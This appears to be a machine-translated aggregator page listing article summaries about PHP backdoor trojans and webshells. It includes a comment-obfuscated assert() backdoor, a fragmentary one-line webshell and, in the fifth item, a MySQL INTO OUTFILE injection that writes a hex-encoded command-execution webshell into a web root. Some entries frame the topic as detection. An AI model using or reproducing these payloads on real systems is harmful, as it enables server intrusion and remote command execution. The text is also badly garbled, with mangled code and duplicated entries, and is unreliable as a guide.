10 post-Backdoor Trojan content recommendations

This article will introduce a very short code, but also a very covert backdoor Trojan, so that everyone in the detection program can avoid being hung Trojan. The contents of the file are as follows: Many comments are inserted into the code, and the server's detection procedure is difficult to detect if it is not rigorous. After the comment is removed, the code is as follows: The actual code that was actually executed was: the back door was used to execute the program using the PHP assert method. The Boolassert (mixed $assertion [, String $description]) assert () checks the specified assertion and takes appropriate action when the result is FALSE. If assertion is a string, it will be executed by assert () as PHP code. If the content of the $assertion is phpinfo (); The server's information is returned so that the attacker can gain access to the server information for this attack. After uploading the backdoor, the attacker could simply create a simple HTML to execute the PHP statement on the server. Suppose the backdoor file is BAC

1. Code short and covert Backdoor Trojans

Introduction:: This article mainly introduces the code short and covert Backdoor Trojan, for the PHP tutorial interested students can refer to.

2. PHP Webshell Scanning Backdoor Trojan instance Program _php Tutorial

Introduction: PHP Webshell Scanning Backdoor Trojan instance program. This article to introduce a PHP Webshell scanning backdoor Trojan instance program, this can scan your website Trojan program Oh, this to everyone to find the site Trojan provides a great convenience

3. PHP Webshell Scanning Backdoor Trojan instance program

Introduction: PHP Webshell Scanning Backdoor Trojan instance program. This article to introduce a PHP Webshell scanning backdoor Trojan instance program, this can scan your website Trojan program Oh, this to everyone to find the site Trojan provides a great convenience

4. Talk about those powerful PHP a word back door Trojan

Three variants of a sentence PHP Trojan

The first one:

<?php ($_=@$_get[2]). @$_ ($_post& #91 "width=" >

Introduction: We take a learning mentality to treat these PHP backdoors, a lot of PHP backdoor code let us see the programmer is how good intentions. This kind of backdoor lets the website, the server administrator is the headache, often must change the method carries on the various detection, but many new writing technology, uses the common detection method to be unable to discover and the processing. Today we count some

5. Use MySQL statement to generate backdoor Trojan concrete method _mysql

Introduction: The method of generating backdoor Trojans via MySQL statements: SELECT * from ' vbb_strikes ' WHERE 1 Union select2, 3,0x3c3f7068702073797374656d28245f524551554553545b636d645d293b3f3e from Vbb_strikes to OutFile ' c:/inetpub/ Wwwroot/cmd.php ' through the injection of MySQL or in phpMyAdmin

6. The way to generate backdoor Trojans via MySQL statement _mysql

Introduction: A way to generate backdoor Trojans through MySQL statements

7. MySQL statement to generate backdoor Trojan method _mysql

Introduction: This article mainly introduces the MySQL statement to generate backdoor Trojan method, we do not feel free to sabotage oh, the small partners learn under the good.

8. How to generate backdoor Trojan through MySQL statement _mysql

Introduction: The method of generating backdoor Trojan through MySQL statement

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